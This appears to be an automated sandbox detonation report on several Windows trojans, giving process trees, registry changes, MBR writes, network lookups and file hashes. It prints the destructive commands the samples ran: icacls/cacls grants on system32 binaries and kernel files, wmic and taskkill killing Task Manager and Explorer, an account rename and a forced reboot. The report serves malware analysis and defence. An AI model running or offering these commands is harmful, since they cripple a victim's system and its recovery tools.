icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\System32\drivers" /grant "everyone":F

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 5.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

C:\Windows\Temp\winconfig.exe

MD5 80ac1035b644c94121fd7829a3375be7
SHA1 136393d6b3c20462fcb26768976c0e42a87979f3
SHA256 95334115b13eae96a4462164f4830a46494c1c7620542cc81344f61a213e3119
SHA512 53e2f8cb33aa45d8a4ef7c3488607bb2b7fe5518657d2a7394523b5e5cddcc07def5b2e8f12a1b9d694ca3d7f19d3aac86650ffa4f647a454392c46cffe9cd09

C:\Windows\Temp\winconfig.exe

MD5 cec18978927f727867d8433dd1184184
SHA1 20b96c5e1afc6f4da110e89e958c941784aad99a
SHA256 564fbf3f9be4cbc1805805198817978d85417c062d30b758c1155c360b6e0d20
SHA512 1cfc33686e36c81a314aad85a8841123a1a8dcff50a510b6379bd995ccdcf91adf3d8a8d6ae160be3470ce3a21f73929faf0bb1ddd1674525fd916f81def08c0

C:\Windows\Temp\winconfig.exe

MD5 c3b9c81da556ca70c5d0135f12063dbd
SHA1 309bebe859fd2ecf016f14bd4d68bdffeec0bf8d
SHA256 bec2b6917d140c8f8640f08cb1906c495c50482d3f1386082cc5e97c3a4df2f8
SHA512 3528884c2be9609a7333f62837deda67b45f70b167361f9bf258a9d9b159d517864846c85d196cd19e4f0d291a4a53d8b0338675176503b07e004bfb96f04b3e

C:\Users\Admin\AppData\Local\Temp\7DAC.tmp\7DAD.tmp\7DBD.bat

MD5 a645734f3bf4a2682cbaf546789ec0c4
SHA1 fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
SHA512 efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d

C:\Users\Admin\AppData\Roaming\DetectKey.exe

MD5 aba9a3cf4e1db4602c25405987b809a6
SHA1 6cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
SHA512 e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675

Analysis: behavioral12

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:34

Platform

win10v2004-20240226-en

Max time kernel

147s

Max time network

207s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 211.143.182.52.in-addr.arpa udp

Files

memory/1016-0-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

122s

Max time network

139s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Signatures

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Disables Task Manager via registry modification

evasion

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

System policy modification

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "Bro what have you done" C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Network

N/A

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:30

Platform

win7-20240221-en

Max time kernel

5s

Max time network

9s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

Signatures

Disables Task Manager via registry modification

evasion

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0" C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Control Panel\Desktop\Wallpaper C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\icon.ico" C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2920 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 2920 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 2920 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 2920 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 2964 wrote to memory of 2128 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2964 wrote to memory of 2128 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2964 wrote to memory of 2128 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2964 wrote to memory of 2128 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2964 wrote to memory of 2080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2964 wrote to memory of 2080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2964 wrote to memory of 2080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2964 wrote to memory of 2080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2964 wrote to memory of 2476 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2964 wrote to memory of 2476 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2964 wrote to memory of 2476 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2964 wrote to memory of 2476 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2964 wrote to memory of 2248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2964 wrote to memory of 2248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2964 wrote to memory of 2248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2964 wrote to memory of 2248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2964 wrote to memory of 2796 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2964 wrote to memory of 2796 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2964 wrote to memory of 2796 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2964 wrote to memory of 2796 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='UR NEXT'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'UR NEXT'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

N/A

Files

memory/2920-0-0x0000000074A50000-0x000000007513E000-memory.dmp

memory/2920-1-0x0000000001380000-0x0000000001A2E000-memory.dmp

memory/2920-2-0x00000000050E0000-0x0000000005120000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\windl.bat

MD5 a9401e260d9856d1134692759d636e92
SHA1 4141d3c60173741e14f36dfe41588bb2716d2867
SHA256 b551fba71dfd526d4916ae277d8686d83fff36d22fcf6f18457924a070b30ef7
SHA512 5cbe38cdab0283b87d9a9875f7ba6fa4e8a7673d933ca05deddddbcf6cf793bd1bf34ac0add798b4ed59ab483e49f433ce4012f571a658bc0add28dd987a57b6

memory/2920-16-0x0000000000620000-0x000000000062A000-memory.dmp

memory/2920-15-0x0000000000620000-0x000000000062A000-memory.dmp

memory/2920-17-0x00000000050E0000-0x0000000005120000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\rniw.exe

MD5 9232120b6ff11d48a90069b25aa30abc
SHA1 97bb45f4076083fca037eee15d001fd284e53e47
SHA256 70faa0e1498461731f873d3594f20cbf2beaa6f123a06b66f9df59a9cdf862be
SHA512 b06688a9fc0b853d2895f11e812c48d5871f2793183fda5e9638ded22fc5dc1e813f174baedc980a1f0b6a7b0a65cd61f29bb16acc6dd45da62988eb012d6877

C:\Users\Admin\AppData\Local\Temp\v.mp4

MD5 d2774b188ab5dde3e2df5033a676a0b4
SHA1 6e8f668cba211f1c3303e4947676f2fc9e4a1bcc
SHA256 95374cf300097872a546d89306374e7cf2676f7a8b4c70274245d2dccfc79443
SHA512 3047a831ed9c8690b00763061807e98e15e9534ebc9499e3e5abb938199f9716c0e24a83a13291a8fd5b91a6598aeeef377d6793f6461fc0247ec4bbd901a131

memory/2920-30-0x0000000000AD0000-0x0000000000ADA000-memory.dmp

memory/2920-29-0x0000000000AD0000-0x0000000000ADA000-memory.dmp

memory/2920-28-0x0000000000AD0000-0x0000000000ADA000-memory.dmp

memory/2920-27-0x0000000000AD0000-0x0000000000ADA000-memory.dmp

memory/2920-26-0x000000006B9E0000-0x000000006BCF2000-memory.dmp

memory/2920-31-0x0000000000AF0000-0x0000000000AFA000-memory.dmp

memory/2920-32-0x0000000000AB0000-0x0000000000AB1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\text.txt

MD5 9037ebf0a18a1c17537832bc73739109
SHA1 1d951dedfa4c172a1aa1aae096cfb576c1fb1d60
SHA256 38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48
SHA512 4fb5c06089524c6dcd48b6d165cedb488e9efe2d27613289ef8834dbb6c010632d2bd5e3ac75f83b1d8024477ebdf05b9e0809602bbe1780528947c36e4de32f

C:\Users\Admin\AppData\Local\Temp\one.rtf

MD5 6fbd6ce25307749d6e0a66ebbc0264e7
SHA1 faee71e2eac4c03b96aabecde91336a6510fff60
SHA256 e152b106733d9263d3cf175f0b6197880d70acb753f8bde8035a3e4865b31690
SHA512 35a0d6d91178ec10619cf4d2fd44d3e57aa0266e1779e15b1eef6e9c359c77c384e0ffe4edb2cde980a6847e53f47733e6eacb72d46762066b3541dee3d29064

memory/2108-838-0x0000000002DE0000-0x0000000002DE1000-memory.dmp

memory/2920-839-0x0000000074A50000-0x000000007513E000-memory.dmp

memory/2920-840-0x00000000050E0000-0x0000000005120000-memory.dmp

memory/2920-842-0x0000000000BE0000-0x0000000000BE5000-memory.dmp

memory/2920-841-0x000000006B9E0000-0x000000006BCF2000-memory.dmp

memory/472-843-0x0000000002AB0000-0x0000000002AB1000-memory.dmp

Analysis: behavioral10

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win10v2004-20240226-en

Max time kernel

66s

Max time network

87s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Signatures

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1408 --field-trial-handle=2260,i,9938964625802268469,1928462186077019554,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 5.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
GB 172.217.169.10:443 chromewebstore.googleapis.com tcp
US 8.8.8.8:53 10.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp

Files

N/A

Analysis: behavioral20

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:31

Platform

win10v2004-20231215-en

Max time kernel

8s

Max time network

77s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

Signatures

ACProtect 1.3x - 1.4x DLL software

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation C:\WINDOWS\302746537.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe N/A

Drops file in Windows directory

Description Indicator Process Target
